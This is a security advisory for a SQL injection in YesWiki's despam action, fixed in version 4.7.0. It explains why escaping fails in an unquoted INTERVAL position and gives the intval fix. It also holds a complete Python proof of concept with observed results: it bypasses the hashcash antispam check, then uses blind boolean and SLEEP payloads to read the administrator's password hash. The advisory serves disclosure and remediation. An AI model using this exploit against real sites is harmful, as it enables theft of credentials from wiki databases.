All vulnerabilities
GHSA-w7cp-76pj-w4m5

yeswiki/yeswiki: SQL injection in the despam action via an unquoted INTERVAL operand

yeswiki/yeswiki
CVSS
4.9Medium
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed in4.7.0Fixed versionGitHub
Published12 Oct 2026Updated 12 Oct 2026GitHub

What fixes it

  • 4.7.0yeswiki/yeswiki, composerGitHubcomposer require "yeswiki/yeswiki:^4.7.0"

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

SQL injection in despam.php via an unquoted INTERVAL operand

Summary

tools/security/actions/despam.php:55 escapes its input and then places it in an unquoted SQL position. mysqli_real_escape_string neutralises quotes; it does nothing about parentheses, keywords or comment markers, which is all this position needs. Requires an administrator.

The value is escaped — that is the point. Escaping is the wrong tool here; the fix is a cast.

Details

where time > date_sub(now(), interval ' . DbService::escape($_POST['from']) . " hour) and latest = 'Y'

DbService::escape() is mysqli_real_escape_string(). Recorded statement:

interval 744 hour) AND (ASCII(SUBSTRING( (select password from yeswiki_users limit 1),1,1))>57) -- hour)

Remediation — it is an interval count:

interval ' . intval($_POST['from']) . " hour)

One correction to a claim you may see elsewhere: the -- comment does *not* remove the and latest = 'Y' guard. That clause is on the next line of a multi-line statement, so the comment only reaches the end of its own line.

PoC

Self-contained, verbatim below. Self-verifying over HTTP — the result table renders one <input name="suppr[]"> per matching page, so the row count is the oracle. No query-log access needed.

#!/usr/bin/env python3 """YesWiki - SQL injection via an unquoted INTERVAL operand (MB-2026-009).

https://github.com/YesWiki/yeswiki tools/security/actions/despam.php:55

where time > date_sub(now(), interval ' . DbService::escape($_POST['from']) . " hour) and latest = 'Y'

DbService::escape() is mysqli_real_escape_string(). It neutralises quotes and does nothing to parentheses, keywords or comment markers, and this unquoted numeric position needs none of those. The fix is intval(), not escaping.

AUTH: administrator. despam.php is gated on UserIsAdmin() at line 23.

REACHABILITY: YesWiki actions run from page content, and YesWiki's own admin documentation (docs/fr/admin.md, "Que faire si vous avez du spam ?") tells an administrator fighting spam to use the {{despam}} action. This script creates that page, then submits its form. The second gate is $_POST['2'], the form's own submit button.

The page save is gated on YesWiki's hashcash antispam (use_hashcash defaults to true in tools/security/config.yaml). solve_hashcash() below does what the browser does, without a JS engine: tools/security/wp-hashcash-getkey.php returns 32-bit words XORed with a key that decode to a function returning cache/hashcash.key, and $type = rand(0,3) * 0 is always 0, so that function is always a chain of additions.

SELF-VERIFYING over HTTP: the result table lists one checkbox per matching page, so the row count is a boolean oracle. No query log needed.

READ-ONLY as run here -- the payloads only affect the SELECT that lists candidate pages. Do NOT then submit the deletion form.

Usage: ./yeswiki-despam-interval-sqli.py BASE_URL USER PASSWORD [page_name] """ import http.cookiejar import re import sys import time import urllib.error import urllib.parse import urllib.request

def make_client(): jar = http.cookiejar.CookieJar() return urllib.request.build_opener(urllib.request.HTTPCookieProcessor(jar))

def go(cl, base, path, post=None): data = urllib.parse.urlencode(post).encode() if post else None headers = {"User-Agent": "poc/1.0"} if post: headers["Content-Type"] = "application/x-www-form-urlencoded" req = urllib.request.Request(base + path, data=data, headers=headers) t0 = time.time() try: with cl.open(req, timeout=300) as r: return time.time() - t0, r.getcode(), r.read().decode("utf-8", "replace") except urllib.error.HTTPError as e: return time.time() - t0, e.code, e.read().decode("utf-8", "replace")

def solve_hashcash(base): """Return the value of cache/hashcash.key, as the browser computes it.""" url = base + "/tools/security/wp-hashcash-getkey.php" req = urllib.request.Request(url, headers={"User-Agent": "poc/1.0"}) js = urllib.request.urlopen(req, timeout=60).read().decode("latin-1")

words = [(int(a), int(k)) for a, k in re.findall(r"\[\d+\] = (-?\d+) \^ (-?\d+);", js)] if not words: raise SystemExit("hashcash: no payload in wp-hashcash-getkey.php output")

chunks = [] for value, key in words: w = (value ^ key) & 0xFFFFFFFF chunks.append(bytes((w >> s) & 0xFF for s in (0, 8, 16, 24))) inner = b"".join(chunks).decode("latin-1")

m = re.search(r"var (\w+) = (\d+); ((?:\1 \+= \d+; )+)return \1;", inner) if not m: raise SystemExit("hashcash: unexpected form: " + inner[:200]) return int(m.group(2)) + sum(int(n) for n in re.findall(r"\+= (\d+);", m.group(3)))

def main(): base = sys.argv[1].rstrip("/") user, passwd = sys.argv[2], sys.argv[3] page = sys.argv[4] if len(sys.argv) > 4 else "DeSpamAudit"

cl = make_client() go(cl, base, "/?PageLogin") _, code, body = go(cl, base, "/?PageLogin", { "action": "login", "name": user, "password": passwd, "remember": "1", "submit": "Connexion"}) if "Déconnexion" not in body and "Deconnexion" not in body: print(f"[auth] FAILED http={code}") return 1 print(f"[auth] http={code} as {user}")

hashcash = solve_hashcash(base) go(cl, base, f"/?{page}/edit", { "body": "{{despam}}", "submit": "Sauver", "previous": "", "pagetags": "", "antispam": "0", "hashcash_value": str(hashcash)}) _, _, rendered = go(cl, base, f"/?{page}") if 'name="selection"' not in rendered: print(f"[page] {page} does not render the despam form; stopping") return 1 print(f"[page] {page} created (hashcash={hashcash})")

def fire(label, value): dt, code, body = go(cl, base, f"/?{page}", {"from": value, "2": "Valider"}) rows = len(re.findall(r'name="suppr\[\]"', body)) print(f" {label:<20s} {dt:6.2f}s http={code} rows={rows}") return rows

the intended query: pages changed in the last 744 hours

fire("744 (intended)", "744")

same window, attacker boolean appended. The escaper sees no quote to escape.

expect: interval 744 hour) OR (1=1) -- hour)

fire("744 OR (1=1)", "744 hour) OR (1=1) -- ") fire("744 AND (1=2)", "744 hour) AND (1=2) -- ")

Blind read of a value the page never shows: the administrator's password hash.

YesWiki stores it as md5 in a varchar(32), so each character is one hex digit.

oracle = ("744 hour) AND (ASCII(SUBSTRING(" "(select password from yeswiki_users limit 1),1,1))>{n}) -- ") for n in (47, 55, 56, 57, 70): fire(f"md5[1] > {n}", oracle.format(n=n))

Timing works too, but SLEEP runs per examined row, so keep the value small.

fire("SLEEP(0.05)/row", "744 hour) AND SLEEP(0.05)=0 -- ") fire("SLEEP(0)/row", "744 hour) AND SLEEP(0)=0 -- ")

print() print("A row count that follows the injected boolean is the injection.") print("NOTE: -- does NOT remove the and latest = 'Y' guard; that clause") print("sits on the NEXT LINE of a multi-line statement, so the comment only") print("reaches the end of its own line.") return 0

if __name__ == "__main__": sys.exit(main())

Observed:

744 (intended) rows=68 744 OR (1=1) rows=68 744 AND (1=2) rows=0 md5[1] > 47 rows=68 TRUE md5[1] > 55 rows=68 TRUE md5[1] > 56 rows=0 FALSE md5[1] > 70 rows=0 FALSE SLEEP(0.05)/row 3.58s (vs 0.12s for SLEEP(0))

The boundary lands exactly on ASCII('8') = 56. Read-only as run — do not then submit the deletion form on the same page.

Verified at doryphore-dev HEAD (15f9685be89a).

Impact

CWE-89 at administrator privilege. Blind arbitrary read of the wiki database, including yeswiki_users.password — the same escalation CVE-2026-46670 already establishes for a YesWiki SQL injection.

Note this is a different shape from your four published SQLi CVEs, all of which are plain concatenation with no sanitisation. Here the value is escaped and the escaping is simply inapplicable to the position, so a sweep for missing-escape bugs will not find it. It is closer to the two 2026-09-01 advisories described as "backslash-escape breakout".

Text from GitHub Advisory Database

Affected versions 1

  • yeswiki/yeswiki, composer< 4.7.0GitHub